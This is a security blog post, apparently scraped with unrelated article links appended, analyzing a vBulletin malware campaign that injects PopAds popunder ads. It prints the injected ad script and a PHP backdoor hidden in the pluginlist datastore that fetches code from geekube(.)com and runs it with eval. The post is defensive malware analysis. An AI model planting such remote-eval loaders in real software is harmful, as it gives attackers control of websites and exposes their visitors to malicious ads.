Vbulletin Used to Show Malicious Advertisements
In the past, we have seen a massive amount of vBulletin websites compromised through theVBSeo Vulnerability. Attackers have been infecting vBulletin websites since 2012 with this malware, and more recently with a newvariation of the same infection. Ever since this new development, the table datastore in vBulletin has been a prime candidate for attackers to store malicious code where malware can be easily loaded on every visit.
Recently, we came across a malware campaign of vBulletin websites showing malicious ads from popads[.]net for no apparent reason. The webmasters had no idea where they were coming from. Pop-up Ads on vBulletin Forums
This ad network is well known for nasty pop-ups and malware-spreading advertisements as the core part of its network, which makes this a troublesome situation.
Here’s an example of the code being injected into the vBulletin sites:
<!-- PopAds.net Popunder Code for www.YourSite.com -->
<script type="text/javascript" data-cfasync="false">
var _pop = _pop || [];
_pop.push(['siteId', 1514372]);
_pop.push(['minBid', 0]);
_pop.push(['popundersPerIP', 0]);
_pop.push(['delayBetween', 0]);
_pop.push(['default', false]);
_pop.push(['defaultPerDay', 0]);
_pop.push(['topmostLayer', false]);
(function() {
var pa = document.createElement('script'); pa.type = 'text/javascript'; pa.async = true;
var s = document.getElementsByTagName('script')[0];
pa.src = '//c1.popads.net/pop.js';
pa.onerror = function() {
var sa = document.createElement('script'); sa.type = 'text/javascript'; sa.async = true;
sa.src = '//c2.popads.net/pop.js';
s.parentNode.insertBefore(sa, s);
};
s.parentNode.insertBefore(pa, s);
})();
</script>
<!-- PopAds.net Popunder Code End -->
The code is quite easy to spot because it’s placed after the closing
</html>
tags. Most website security scanners would flag it as suspicious, and
strangely enough, it’s only being displayed once per IP. This means a
repeat visitor wouldn’t see the ads on subsequent visits.
Externalphp File Loading in Pluginlist
Knowing how vBulletin infections tend to store themselves inside the datastore
table, we went on to take a look at that table, more specifically in the pluginlist
row.
We found something that shouldn’t be there in the middle of the Tapatalk
code:
$output = preg_replace('@<link href="([^">]+)android-app:\/\/com.quoord\.tapatalkpro\.activity\/tapatalk@',
'<link href="android-app://com.quoord.tapatalkpro.activity/tapatalk', $output);
$output = preg_replace('@<link href="([^">]+)ios-app:\/\/307880732\/tapatalk@',
'<link href="ios-app://307880732/tapatalk', $output);
$config_data
=
file_get_contents('http://geekube(.)com/wp-content/uploads/2013/xml.php?a=inner&host='
. $_SERVER['SERVER_NAME']);
if(strlen($config_data) > 0){ eval($config_data); }
";s:14:"page_templates";s:106:"global $vbulletin;
Loading PHP files from external sources through the pluginlist
is never a good thing so it deserves further investigation. We took steps to simply mimic the requests in question.
On the first level of the request, the geekube(.)com
domain returns us with the following PHP file hosted on a malicious WordPress site:
$output .=
file_get_contents('http://geekube.com/wp-content/uploads/2013/uploads/sites/16b54149eeb067699ab60ce79aa44b9e/js.php?remote='
. $_SERVER['REMOTE_ADDR']);
We can see that the external script receives the visitor’s IP
address, which allows the malware to perform its conditional IP controls
and make detection harder. It also means we can easily spoof the
requests with a new IP to get to the next step.
By turning $_SERVER[‘REMOTE_ADDR’]
into a server IP for example, 192.192.192.192 the next script immediately returns the entire block of code for the popads
advertisement code we saw initially.
The first part of the request chain makes use of $_SERVER[‘SERVER_NAME’]
and now we can see why; the script customizes the code to make it look
as legitimate as possible by modifying the initial comment line:
<!-- PopAds.net Popunder Code for www.YourSite.com -->
The script will display the victim’s website domain in the comment line instead of www.YourSite.com
in an attempt to fool webmasters into mistaking it for legitimate code.
New Domains Being Used
A new domain involved in this campaign has been using the exact same mechanisms and requests images(.)imagenetcom(.)com
We suspect there will be other sites that also leverage this tactic against vBulletin sites.
It’s always important to keep an eye on the plugins you have on your
website. This is important in vBulletin due to the ease with which the
attackers can add custom code or calls to external scripts in already
existing plugins. This alone makes it difficult for a webmaster to
locate the malicious injection, unless constant reviews of the plugins
in use are done.
Integrity monitoring services
will also help you stay aware of any unauthorized modifications to plugins and files on your site.
If you suspect your website has been infected, we are alwaysready to assist you.
Vbulletin Used to Show Malicious Advertisements的更多相关文章
- [Unity 5.2] The imported type `UnityEngine.Advertisements.ShowResult' is defined multiple times
unityAds报这个错: The imported type `UnityEngine.Advertisements.ShowResult' is defined multiple times go ...
- 关于chkrootkit 检查 INFECTED: Possible Malicious Linux.Xor.DDoS installed
chkrootkit检测时,发现一个Xor.DDoS内容,内容如下...Searching for Linux.Xor.DDoS ... INFECTED: Possible Malicious Li ...
- vBulletin 5.x 版本通杀远程代码执行漏洞复现
漏洞介绍 vBulletin中存在一个文件包含问题,可使恶意访问者包含来自 vBulletin 服务器的文件并且执行任意 PHP 代码.未经验证的恶意访问者可通过向index.php发出包含 rout ...
- The request was rejected because the URL contained a potentially malicious String ";"报错解决
报错信息 浏览器中看到的报错 错误摘要: The request was rejected because the URL contained a potentially malicious Stri ...
- 应用安全 - CMS - vBulletin漏洞汇总
SSV-15384 Date: 2004.11 漏洞类别: SQL 注入 SSV-15476 Date: 2005.2 漏洞类别: RCE SSV-15482 Date: 2005.2 类型: RCE ...
- security.web.firewall.RequestRejectedException: The request was rejected because the URL contained a potentially malicious String ";"
今天有个接口打算使用矩阵变量来绑定参数,即使用@MatrixVariable注解来接收参数 调用接口后项目报了如下错误 org.springframework.security.web.firewal ...
- Simple, Fast Malicious Multiparty Private Set Intersection-解读
文本记录阅读该论文的笔记. 这是文章框架,来自视频. 介绍 本文主要解决恶意攻击下安全的多方PSI,主要用到两大技术OPPRF和OKVS,构造合谋和不合谋的协议. 基础知识 OPPRF 这部分在OPR ...
- Chapter 6 — Improving ASP.NET Performance
https://msdn.microsoft.com/en-us/library/ff647787.aspx Retired Content This content is outdated and ...
- App forensics
A friend of mine claimed that someone stole her personal data via hacking certain App. She installed ...
随机推荐
- PAT甲级——A1002 A+B for Polynomials
This time, you are supposed to find A+B where A and B are two polynomials. Input Specification: Each ...
- RESTful API -- rules
RESTful介绍 REST与技术无关,代表的是一种软件架构风格,REST是Representational State Transfer的简称,中文翻译为“表征状态转移”或“表现层状态转化”. 推荐 ...
- StringBuffer清空
转载自:http://blog.sina.com.cn/s/blog_56fd58ab0100qfcz.html 在开发程序的时候,经常使用StringBuffer来进行字符串的拼接.如果在循环中来反 ...
- Neo4j 第四篇:使用.NET驱动访问Neo4j
本文使用的IDE是Visual Studio 2015 ,驱动程序是Neo4j官方的最新版本:Neo4j.Driver,创建的类库工程(Project)要求安装 .NET Framework 4.5. ...
- CSS奇数、偶数、指定数样式
原文: https://blog.csdn.net/wangjia200913/article/details/49615325 语法 :nth-child(an+b) 第一种:简单数字序号写法 ...
- Diff- Linux必学的60个命令
1.作用 diff命令用于两个文件之间的比较,并指出两者的不同,它的使用权限是所有用户. 2.格式 diff [options] 源文件 目标文件 3.[options]主要参数 -a:将所有文件当作 ...
- [BZOJ2164]采矿【模拟+树链剖分+线段树】
Online Judge:Bzoj2164 Label:模拟,树链剖分,线段树 题目描述 浩浩荡荡的cg大军发现了一座矿产资源极其丰富的城市,他们打算在这座城市实施新的采矿战略.这个城市可以看成一棵有 ...
- Java的跨平台特性
语言跨平台是编译后的文件跨平台,而不是源程序跨平台.Java源代码首先经过编译器生成字节码,即class文件,该class文件与平台无关,而class文件经过解释执行之后翻译成最终的机器码,这是平台相 ...
- PHP7中标量类型declare的用法详解
这篇文章主要介绍了PHP7标量类型declare用法,结合实例形式分析了PHP7中标量类型declare的功能.特性与相关使用技巧,需要的朋友可以参考下 本文实例讲述了PHP7标量类型declare用 ...
- 深入浅出 Java Concurrency (6): 锁机制 part 1[转]
前面的章节主要谈谈原子操作,至于与原子操作一些相关的问题或者说陷阱就放到最后的总结篇来整体说明.从这一章开始花少量的篇幅谈谈锁机制. 上一个章节中谈到了锁机制,并且针对于原子操作谈了一些相关的概念和设 ...